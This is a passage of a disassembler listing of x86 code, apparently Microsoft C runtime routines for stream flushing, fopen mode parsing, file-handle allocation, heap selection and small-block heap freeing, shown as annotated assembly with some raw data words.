sub_41A634	proc near		; CODE XREF: sub_419E38+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41A634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A642	proc near		; CODE XREF: sub_417794+17p
					; sub_417794+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41A660
		mov	ecx, off_4395A0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41A6B2
; ---------------------------------------------------------------------------


loc_41A660:				; CODE XREF: sub_41A642+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_4395A0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41A685
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41A68E
; ---------------------------------------------------------------------------


loc_41A685:				; CODE XREF: sub_41A642+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41A68E:				; CODE XREF: sub_41A642+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41FB63
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A6AE
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A6AE:				; CODE XREF: sub_41A642+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41A6B2:				; CODE XREF: sub_41A642+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41A642	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6B7	proc near		; CODE XREF: sub_417900+2Ap
					; sub_41FEC6+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_48B440
		jnb	loc_41A751
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A751
		push	edi
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A730
		cmp	edi, 1
		jz	short loc_41A6FE
		cmp	edi, 2
		jnz	short loc_41A714


loc_41A6FE:				; CODE XREF: sub_41A6B7+40j
		push	2
		call	sub_41FE32
		push	1
		mov	ebp, eax
		call	sub_41FE32
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41A730


loc_41A714:				; CODE XREF: sub_41A6B7+45j
		push	edi
		call	sub_41FE32
		pop	ecx
		push	eax
		nop
		call	near ptr 26307C3h
		test	eax, eax
		jnz	short loc_41A730
		nop
		call	near ptr 2650BAEh
		mov	ebp, eax
		jmp	short loc_41A732
; ---------------------------------------------------------------------------


loc_41A730:				; CODE XREF: sub_41A6B7+3Bj
					; sub_41A6B7+5Bj ...
		xor	ebp, ebp


loc_41A732:				; CODE XREF: sub_41A6B7+77j
		push	edi
		call	sub_41FDB8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41A74D
		push	ebp
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41A762
; ---------------------------------------------------------------------------


loc_41A74D:				; CODE XREF: sub_41A6B7+8Bj
		xor	eax, eax
		jmp	short loc_41A765
; ---------------------------------------------------------------------------


loc_41A751:				; CODE XREF: sub_41A6B7+Ej
					; sub_41A6B7+2Fj
		and	dword_48A018, 0
		mov	dword_48A014, 9


loc_41A762:				; CODE XREF: sub_41A6B7+94j
		or	eax, 0FFFFFFFFh


loc_41A765:				; CODE XREF: sub_41A6B7+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A6B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A76A	proc near		; CODE XREF: sub_417900+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41A793
		test	al, 8
		jz	short loc_41A793
		push	dword ptr [esi+8]
		call	sub_417C3B
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41A793:				; CODE XREF: sub_41A76A+Aj
					; sub_41A76A+Ej
		pop	esi
		retn
sub_41A76A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A795	proc near		; CODE XREF: sub_41A835+2Dp
					; sub_41A835+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41A7A7
		push	esi
		call	sub_41A835
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A7A7:				; CODE XREF: sub_41A795+7j
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jz	short loc_41A7B7
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A7B7:				; CODE XREF: sub_41A795+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41A7CC
		push	dword ptr [esi+10h]
		call	sub_41FE6F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A7CC:				; CODE XREF: sub_41A795+26j
		xor	eax, eax
		pop	esi
		retn
sub_41A795	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_417900+1Ap
					; sub_418D0E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41A81D
		test	ax, 108h
		jz	short loc_41A81D
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A81D
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41A816
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41A81D
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A816:				; CODE XREF: sub_41A7D0+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41A81D:				; CODE XREF: sub_41A7D0+14j
					; sub_41A7D0+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41A7D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A82C	proc near		; CODE XREF: sub_41FAE7p
		push	1
		call	sub_41A835
		pop	ecx
		retn
sub_41A82C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A835	proc near		; CODE XREF: sub_41A795+Ap
					; sub_41A82C+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_48B320, esi
		jle	short loc_41A893


loc_41A846:				; CODE XREF: sub_41A835+5Cj
		mov	eax, dword_48A310
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41A88A
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41A88A
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41A870
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A88A
		inc	ebx
		jmp	short loc_41A88A
; ---------------------------------------------------------------------------


loc_41A870:				; CODE XREF: sub_41A835+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41A88A
		test	cl, 2
		jz	short loc_41A88A
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41A88A
		or	edi, eax


loc_41A88A:				; CODE XREF: sub_41A835+1Bj
					; sub_41A835+23j ...
		inc	esi
		cmp	esi, dword_48B320
		jl	short loc_41A846


loc_41A893:				; CODE XREF: sub_41A835+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41A89E
		mov	eax, edi


loc_41A89E:				; CODE XREF: sub_41A835+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A835	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8A2	proc near		; CODE XREF: sub_417956+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jz	short loc_41A92B
		cmp	esi, offset dword_43BCD8
		jnz	short loc_41A8C0
		xor	eax, eax
		jmp	short loc_41A8CB
; ---------------------------------------------------------------------------


loc_41A8C0:				; CODE XREF: sub_41A8A2+18j
		cmp	esi, offset dword_43BCF8
		jnz	short loc_41A92B
		push	1
		pop	eax


loc_41A8CB:				; CODE XREF: sub_41A8A2+1Cj
		inc	dword_48A1D8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41A92B
		cmp	dword_48A06C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:48A06Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41A911
		push	ebx
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41A911
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41A91E
; ---------------------------------------------------------------------------


loc_41A911:				; CODE XREF: sub_41A8A2+4Dj
					; sub_41A8A2+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_41A91E:				; CODE XREF: sub_41A8A2+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A92B:				; CODE XREF: sub_41A8A2+10j
					; sub_41A8A2+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41A8A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A92F	proc near		; CODE XREF: sub_417956+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41A959
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41A96A
		push	esi
		call	sub_41A7D0
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A959:				; CODE XREF: sub_41A92F+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41A96A
		push	eax
		call	sub_41A7D0
		pop	ecx


loc_41A96A:				; CODE XREF: sub_41A92F+10j
					; sub_41A92F+32j
		pop	esi
		retn
sub_41A92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A96C	proc near		; CODE XREF: sub_417988+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_48A1E0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41A9A5
		cmp	al, 72h
		jz	short loc_41A99E
		cmp	al, 77h
		jnz	loc_41AAB9
		mov	ecx, 301h
		jmp	short loc_41A9AA
; ---------------------------------------------------------------------------


loc_41A99E:				; CODE XREF: sub_41A96C+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41A9AD
; ---------------------------------------------------------------------------


loc_41A9A5:				; CODE XREF: sub_41A96C+1Dj
		mov	ecx, 109h


loc_41A9AA:				; CODE XREF: sub_41A96C+30j
		or	esi, 2


loc_41A9AD:				; CODE XREF: sub_41A96C+37j
		push	1
		pop	edx


loc_41A9B0:				; CODE XREF: sub_41A96C+8Bj
					; sub_41A96C+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41AA9F
		cmp	edx, ebx
		jz	loc_41AA9F
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41AA3E
		jz	short loc_41AA2E
		sub	eax, 2Bh
		jz	short loc_41AA18
		sub	eax, 19h
		jz	short loc_41AA0E
		sub	eax, 0Eh
		jz	short loc_41A9F9
		dec	eax
		jnz	loc_41AA90
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41A9F9:				; CODE XREF: sub_41A96C+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA0E:				; CODE XREF: sub_41A96C+6Aj
		test	cl, 40h
		jnz	short loc_41AA90
		or	ecx, 40h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA18:				; CODE XREF: sub_41A96C+65j
		test	cl, 2
		jnz	short loc_41AA90
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA2E:				; CODE XREF: sub_41A96C+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41AA90
		or	ecx, eax
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA3E:				; CODE XREF: sub_41A96C+5Ej
		sub	eax, 62h
		jz	short loc_41AA8B
		dec	eax
		jz	short loc_41AA74
		sub	eax, 0Bh
		jz	short loc_41AA5D
		sub	eax, 6
		jnz	short loc_41AA90
		test	ch, 0C0h
		jnz	short loc_41AA90
		or	ch, 40h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA5D:				; CODE XREF: sub_41A96C+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA74:				; CODE XREF: sub_41A96C+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA8B:				; CODE XREF: sub_41A96C+D5j
		test	ch, 0C0h
		jz	short loc_41AA97


loc_41AA90:				; CODE XREF: sub_41A96C+72j
					; sub_41A96C+7Bj ...
		xor	edx, edx
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA97:				; CODE XREF: sub_41A96C+122j
		or	ch, 80h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA9F:				; CODE XREF: sub_41A96C+4Aj
					; sub_41A96C+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FEC6
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41AABD


loc_41AAB9:				; CODE XREF: sub_41A96C+25j
		xor	eax, eax
		jmp	short loc_41AAD7
; ---------------------------------------------------------------------------


loc_41AABD:				; CODE XREF: sub_41A96C+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_48A1D8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41AAD7:				; CODE XREF: sub_41A96C+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AADC	proc near		; CODE XREF: sub_417988p
		mov	edx, dword_48B320
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41AB4D
		mov	ebx, dword_48A310
		mov	edi, ebx


loc_41AAF8:				; CODE XREF: sub_41AADC+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41AB13
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41AB0E
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41AAF8
		jmp	short loc_41AB4D
; ---------------------------------------------------------------------------


loc_41AB0E:				; CODE XREF: sub_41AADC+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41AB37
; ---------------------------------------------------------------------------


loc_41AB13:				; CODE XREF: sub_41AADC+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417B89
		pop	ecx
		mov	ecx, dword_48A310
		mov	[edi+ecx], eax
		mov	eax, dword_48A310
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41AB4D
		mov	esi, edi


loc_41AB37:				; CODE XREF: sub_41AADC+35j
		cmp	esi, ebp
		jz	short loc_41AB4D
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41AB4D:				; CODE XREF: sub_41AADC+12j
					; sub_41AADC+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB54	proc near		; CODE XREF: sub_417B9B+1Fp
					; sub_41944F+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_48A078
		test	eax, eax
		jz	short loc_41AB6C
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41AB6C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41AB6C:				; CODE XREF: sub_41AB54+7j
					; sub_41AB54+12j
		xor	eax, eax
		retn
sub_41AB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB6F	proc near		; CODE XREF: ___:0041ACD2p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 2720D7Dh
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41AB9A
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41AB9A
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41AB9A:				; CODE XREF: sub_41AB6F+15j
					; sub_41AB6F+1Cj
		pop	esi
		retn
sub_41AB6F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_417B30
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	near ptr 27A0000h
		nop
		test	eax, eax
		jz	short loc_41ABDF
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41ABDF
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41ABDF
		push	1
		pop	eax
		jmp	loc_41ACE1
; ---------------------------------------------------------------------------


loc_41ABDF:				; CODE XREF: ___:0041ABC3j
					; ___:0041ABCCj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2840000h
		test	eax, eax
		jz	loc_41ACCE
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41AC21


loc_41AC0E:				; CODE XREF: ___:0041AC1Fj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC1C
		cmp	al, 7Ah
		jg	short loc_41AC1C
		sub	al, 20h
		mov	[ecx], al


loc_41AC1C:				; CODE XREF: ___:0041AC12j
					; ___:0041AC16j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC0E


loc_41AC21:				; CODE XREF: ___:0041AC0Cj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_418DA0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41AC43
		lea	eax, [ebp-122Ch]
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------


loc_41AC43:				; CODE XREF: ___:0041AC39j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41AC77


loc_41AC64:				; CODE XREF: ___:0041AC75j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC72
		cmp	al, 7Ah
		jg	short loc_41AC72
		sub	al, 20h
		mov	[ecx], al


loc_41AC72:				; CODE XREF: ___:0041AC68j
					; ___:0041AC6Cj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC64


loc_41AC77:				; CODE XREF: ___:0041AC62j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx


loc_41AC8C:				; CODE XREF: ___:0041AC41j
		cmp	eax, ebx
		jz	short loc_41ACCE
		push	2Ch
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41ACCE
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41ACB3


loc_41ACA5:				; CODE XREF: ___:0041ACB1j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41ACAE
		mov	[ecx], bl
		jmp	short loc_41ACAF
; ---------------------------------------------------------------------------


loc_41ACAE:				; CODE XREF: ___:0041ACA8j
		inc	ecx


loc_41ACAF:				; CODE XREF: ___:0041ACACj
		cmp	[ecx], bl
		jnz	short loc_41ACA5


loc_41ACB3:				; CODE XREF: ___:0041ACA3j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41881C
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41ACE1
		cmp	eax, 3
		jz	short loc_41ACE1
		cmp	eax, 1
		jz	short loc_41ACE1


loc_41ACCE:				; CODE XREF: ___:0041ABF8j
					; ___:0041AC8Ej ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41AB6F
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41ACE1:				; CODE XREF: ___:0041ABDAj
					; ___:0041ACC2j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 5E89050h, 85024353h
		dd 0B684A3C0h, 36740048h, 0FFFE93E8h, 3F883FFh,	48B688A3h
		dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h
		dd 0C0850000h, 35FF0F75h, 48B684h, 4260BBE8h, 0C0339002h
		dd 58016AC3h, 14068C3h,	6A0000h, 0B68435FFh, 0E8900048h
		dd 22F52ACh, 7CA3C085h,	750048B6h, 4C8BC301h, 25830424h
		dd 48B674h, 78258300h, 48B6h, 70A3016Ah, 890048B6h, 48B6800Dh
		dd 6805C700h, 100048B6h, 58000000h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41AD89	proc near		; CODE XREF: sub_417C3B+17p
					; sub_41944F+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_48B678
		lea	ecx, [eax+eax*4]
		mov	eax, dword_48B67C
		lea	ecx, [eax+ecx*4]


loc_41AD99:				; CODE XREF: sub_41AD89+26j
		cmp	eax, ecx
		jnb	short loc_41ADB1
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41ADB3
		add	eax, 14h
		jmp	short loc_41AD99
; ---------------------------------------------------------------------------


loc_41ADB1:				; CODE XREF: sub_41AD89+12j
		xor	eax, eax

locret_41ADB3:				; CODE XREF: sub_41AD89+21j
		retn
sub_41AD89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB4	proc near		; CODE XREF: sub_417C3B+23p
					; sub_41944F+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41B0D8
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41AE8A
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE18
		push	3Fh
		pop	edx


loc_41AE18:				; CODE XREF: sub_41ADB4+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41AE6C
		cmp	edx, 20h
		jnb	short loc_41AE43
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41AE64
; ---------------------------------------------------------------------------


loc_41AE43:				; CODE XREF: sub_41ADB4+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41AE64:				; CODE XREF: sub_41ADB4+86j
					; sub_41ADB4+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------


loc_41AE6C:				; CODE XREF: sub_41ADB4+6Aj
		mov	ecx, [ebp+var_4]


loc_41AE6F:				; CODE XREF: sub_41ADB4+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41AE8A:				; CODE XREF: sub_41ADB4+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE98
		push	3Fh
		pop	edx


loc_41AE98:				; CODE XREF: sub_41ADB4+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41AF3B
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41AEBD
		mov	ebx, esi


loc_41AEBD:				; CODE XREF: sub_41ADB4+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41AECF
		mov	edx, esi


loc_41AECF:				; CODE XREF: sub_41ADB4+117j
		cmp	ebx, edx
		jz	short loc_41AF36
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41AF1E
		cmp	ebx, 20h
		jnb	short loc_41AEFF
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41AF1E
; ---------------------------------------------------------------------------


loc_41AEFF:				; CODE XREF: sub_41ADB4+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41AF1E:				; CODE XREF: sub_41ADB4+128j
					; sub_41ADB4+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
